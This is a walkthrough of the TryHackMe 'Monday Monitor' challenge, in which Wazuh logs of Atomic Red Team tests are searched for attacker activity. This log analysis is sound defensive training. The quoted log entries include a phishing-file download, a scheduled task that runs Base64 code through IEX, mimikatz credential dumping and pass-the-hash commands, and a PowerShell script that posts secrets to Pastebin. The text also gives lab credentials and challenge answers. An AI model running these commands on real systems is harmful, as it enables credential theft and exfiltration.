Type: Challenge
Difficulty: Easy
Tags: Linux
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Premium
Description:
Ready to test Swiftspend's endpoint monitoring?
Room link: https://tryhackme.com/room/mondaymonitor
Swiftspend Finance, the coolest fintech company in town, is on a mission to level up its cyber security game to keep those digital adversaries at bay and ensure their customers stay safe and sound.
Led by the tech-savvy Senior Security Engineer John Sterling, Swiftspend's latest project is about beefing up their endpoint monitoring using Wazuh and Sysmon. They've been running some tests to see how well their cyber guardians can sniff out trouble. And guess what? You're the cyber sleuth they've called in to crack the code!
The tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00. As you dive into the logs, you'll look for any suspicious process shenanigans or weird network connections, you name it! Your mission? Unravel the mysteries within the logs and dish out some epic insights to fine-tune Swiftspend's defences.
Click the Start Machine button attached to this task to start the VM. Give the machine about 5 minutes to fully set up the environment.
Access the Wazuh Dashboard using your browser at https://10-64-176-14.reverse-proxy.cell-prod-us-east-1a.vm.tryhackme.com and use the credentials listed below:
- Username:
admin - Password:
Mond*yM0nit0r7
Once logged in, navigate to the Security events module and use the saved query Monday_Monitor to access the logs.
We start by selecting the saved search and change the time filter to Last 7 years.
We are looking for a downloaded file and it's likely that it was downloaded by HTTP/HTTPS.
We switch to the events tab and search for http in all fields.
The result is 4 events:
Checking the event with the description Detects suspicious file execution by wscript and cscript we see the following commandLine (data.win.eventdata.commandLine):
\"powershell.exe\" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\\SwiftSpend_Financial_Expenses.xlsm}
A macro-enabled Excel file was dropped in the user's TEMP-directory.
Answer: SwiftSpend_Financial_Expenses.xlsm
Next, we seach for task in all fields and get 757 events as a result.
That is a bit too much to through manually so we enable two additional columns
data.win.eventdata.imagedata.win.eventdata.commandLine
to get a better overview:
The columns rule.level and rule.id was removed.
The image schtasks.exe ougth to be the most interesting so let's filter on that:
This turns out to be almost correct since THM is looking for the parent commandline!?
Expanding the earlist event and checking the data.win.eventdata.parentCommandLine field, we see:
\"cmd.exe\" /c \"reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f & schtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st 12:34\"
Answer: \"cmd.exe\" /c \"reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f & schtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st 12:34\"
The start time is rather easy to spot in the commandline but if we need some help we can consult the schtasks create documentation.
Answer: 12:34
The test registry value contains Base64-encoded data that we can decode like this:
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Easy/Monday_Monitor]
└─$ echo 'cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0=' | base64 -d
ping www.youarevulnerable.thm Answer: ping www.youarevulnerable.thm
Besides PowerShell, the most common way to configure users and groups is with net.exe so we filter on that in all fields.
The result is 30 events:
In one of the events the attackers set the guest password first to I_AM_M0NI0R1NG and then to I_AM_M0NIT0R1NG.
Answer: I_AM_M0NIT0R1NG
One of the most common credential dumping tools is mimikatz so let's start with searching for that.
We get 23 events:
Looking at the earliest events, we see a renamed version of the tool with these commandlines:
C:\\Tools\\AtomicRedTeam\\atomics\\T1003.001\\bin\\x64\\memotech.exe \"sekurlsa::minidump C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2\\lsass.DMP\" \"sekurlsa::logonpasswords full\" exit
C:\\Tools\\AtomicRedTeam\\atomics\\T1003.001\\bin\\x64\\memotech.exe \"sekurlsa::pth /user:john.sterling /domain:%%userdnsdomain%% /ntlm:6963989ca61ef2541bd614609964eabc\"
Answer: memotech.exe
Assuming the flag starts with THM, we can search for that. The result is one event with this commandline:
\"powershell.exe\" & {$apiKey = \\\"\"6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0\\\"\" $content = \\\"\"secrets, api keys, passwords, THM{<REDACTED>}, confidential, private, wall, redeem...\\\"\" $url = \\\"\"https://pastebin.com/api/api_post.php\\\"\" $postData = @{ api_dev_key = $apiKey api_option = \\\"\"paste\\\"\" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host \\\"\"Your paste URL: $response\\\"\"}
Answer: THM{<REDACTED>}
For additional information, please see the references below.
- Atomic Red Team - GitHub
- Atomic Red Team - Homepage
- base64 - Linux manual page
- Base64 - Wikipedia
- Mimikatz - GitHub
- Mimikatz - Wiki
- Net user - Microsoft Learn
- OS Credential Dumping (T1003) - MITRE ATT&CK
- PowerShell - Wikipedia
- Scheduled Task (T1053.005) - MITRE ATT&CK
- schtasks - Microsoft Learn
- schtasks create - Microsoft Learn
- Valid Accounts (T1078) - MITRE ATT&CK
- Wazuh - Homepage
- Windows Registry - Wikipedia